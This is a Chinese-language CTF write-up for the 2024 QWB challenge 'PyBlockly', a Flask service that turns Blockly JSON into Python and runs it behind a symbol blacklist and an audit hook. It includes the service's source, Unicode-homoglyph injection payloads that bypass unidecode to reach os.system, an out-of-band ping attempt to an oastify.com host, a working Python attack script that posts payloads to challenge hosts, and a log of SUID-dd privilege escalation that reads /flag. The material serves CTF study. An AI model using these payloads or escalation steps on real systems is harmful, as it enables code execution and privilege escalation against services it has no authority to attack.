PyBlockly_强网24

截至24/11/3 21:25 还是没有尝试出来,等以后有正规题解再来,这里先不看了,先看看提权吧
这道题感觉初见还是蛮有东西的,对我这个菜鸡是一道很值得学习的题目


思想here

培养一点重要的思想
1.思维是肯定是找注入点,比如这里的
2.多多本地试试,输入没有想要的效果一定要检查,强推本地跑一下
3.涉及编码推荐适用python进行尝试,可以显示(bp这里不行)还可以用编码表示

ref

  1. Unicode规范化Bypass-CTF特殊题型,后面看到补的内容

分析与尝试

  1. unicode绕过,呜呜呜,只构造出来poc,可以实现代码执行,进一步可以绕过

    1
    '﹔print⁽'hello'⁾﹔'
  2. 重写len()函数,读取文件,到这一步就卡住了 –> 编码的还是要在本地尝试一下,这里出现了转换后消失的情况,可以一个一个试

    1. WTF? –> 真相大白了,这里没有导入os模块调用不了啊,记错了wc,怪怪的可能是逻辑理解错了不懂为什么没有回显,蒙蔽了这是,绕过应该是成功
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 目标 '+len=lambda x:0;os.system('cat /flag') +'
    '⁺lenlambda x︓0︔os․system⁽'cat /flag'⁾⁺'
    # 居然不能执行,本地看一下,是有些字符消失了
    '⁺lenlambda x︓0︔os․system⁽'cat /flag'⁾⁺'
    '﹔lenlambda x:0print⁽os․system⁽'cat /etc/passwd'⁾⁾﹔'
    # 带外尝试,无反应,可能不出网
    '﹔lenlambda x:0print⁽os․system⁽'ping ﹣c 4 x425n3uqpcd5ljq0c4809gjsijoac10q․oastify․com'⁾⁾﹔'

    # 最终构造还是没有成功,但是每一个字符都有试成功哩
    '﹔lenlambda x:0﹔os․system⁽'ls -la /proc'⁾﹔'
    # len没有绕过成功?不是哥们,回显也是true哩
    '﹔lenlambda x:0printlen⁽'a'⁾⁼⁼0⁾﹔'

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True

def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False



def block_to_python(block):
block_type = block['type']
code = ''

if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"

elif block_type == 'math_number':

if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:

code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':

a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"

elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"

if 'next' in block:

block = block['next']['block']

code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code

def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]

python_code = ""
python_code += block_to_python(block) + "\n"


return python_code

def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0')

新东西

*关于字符串

  1. 加深了我对字符串编码的理解
    1. 你在本地通过python发出去的\n和\r还有\u编码这些都会直接解释为对应的字符,在发出去的字符串中根本不会有\这个字符,不需要进行绕过
    2. 但是如果是在bp中的话,那么对方接受到的就是有带\的
    3. 最大大的区别在于: 是否在发出去时有进行替换,记住的是python有

绕过点1: unidecode.unidecode

脚本技巧,见同名unidecode

绕过点2: ast.Import和ast.ImportFrom

多多ai并查就好了

  1. Import 语句:
    1. Import 节点表示一个 import 语句,用于导入整个模块或多个模块。
    2. 例如:import os 或 import sys, os。
  2. ImportFrom 语句:
    1. ImportFrom 节点表示一个 from … import 语句,用于从模块中导入特定的名称。
    2. 例如:from os import path 或 from sys import version as ver’

绕过点3: suid提权

详见文章Linux提权,这里不做原理介绍

payload

  1. helper.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import unidecode

    """代码逻辑

    1. 转换和打印字符串:
    unidecode.unidecode("Κνωσός") 将希腊语字符串 "Κνωσός" 转换为 ASCII 字符串 "Knosos" 并打印。

    2. 查找目标字符:
    遍历 unidecode 库中的数据文件,每个文件名格式为 unidecode.xXXX,其中 XXX 是从 000 到 1F0 的十六进制值。
    对于每个文件,检查目标字符 ( 是否存在于文件的数据中。
    如果找到目标字符,打印相关的信息并计算其 Unicode 编码

    """

    print(unidecode.unidecode("Κνωσός"))
    target = "("
    for section in range(0x000, 0x1f1):
    try:
    mod = __import__('unidecode.x%03x'%(section), globals(), locals(),
    ['data'])
    if target in mod.data:
    print(mod.data)
    print(section)
    print(mod.data.index(target))
    print(chr((section << 8) + mod.data.index(target)))
    break
    except ImportError:
  2. 攻击脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    import requests

    """v1nd大哥的脚本
    import requests
    import unidecode

    host="http://eci-2zeirp9f80b0rxfe0hmg.cloudeci1.ichunqiu.com:5000"
    payload={
    "blocks":{
    "languageVersion":0,
    "blocks":[
    {
    "type":"text",
    "id":"e]W.L~w)W,CStEc*Polc",
    "x":179,
    "y":80,
    "fields":{
    "TEXT":"1’\nlen\u207clambda x\u10381\nprint(\u2017\u2017import\u2017\u2017(‘os’)\u1362system(‘cat /tmp/flag’))\n\u2580"
    # 1'
    # len=lambda x:1
    # print(__import__('os').system('cat /tmp/flag'))
    }
    }
    ]
    }
    }
    r = requests.post(host+"/blockly_json", json=payload, timeout=5)
    print(r.text)
    print(unidecode.unidecode(u'1’\nlen\u207clambda x\u10381\nprint(\u2017\u2017import\u2017\u2017(‘os’)\u1362system(‘cat /tmp/flag’))\n\u2580'))
    # print(unidecode.unidecode('\u2017'))
    """

    """
    测试过程

    ls ﹣l /flag

    ls ﹣la /proc

    cat /proc/1/cmdline # 输出: /bin/sh-cpython app.py0

    find / ﹣user root ﹣perm ﹣4000 # 输出如下

    /bin/umount
    /bin/dd
    /bin/su
    /bin/mount
    /bin/ls
    /usr/bin/chfn
    /usr/bin/chsh
    /usr/bin/newgrp
    /usr/bin/passwd
    /usr/bin/gpasswd

    dd if⁼/flag of⁼/tmp/flag
    cat /tmp/flag

    flag{7c1a4fe8981e295a78508a49146340b9}
    """



    host="http://eci-2ze6bhm7y89tv5q2wd5n.cloudeci1.ichunqiu.com:5000"

    payload={
    "blocks":{
    "languageVersion":0,
    "blocks":[
    {
    "type":"text",
    "id":"e]W.L~w)W,CStEc*Polc",
    "x":179,
    "y":80,
    "fields":{
    "TEXT":"'﹔len⁼lambda x:0﹔os․system⁽'ls ̄﹣la /proc'⁾﹔'"
    }
    }
    ]
    }
    }
    r=requests.post(host+"/blockly_json",json=payload,timeout=5)
    print(r.text)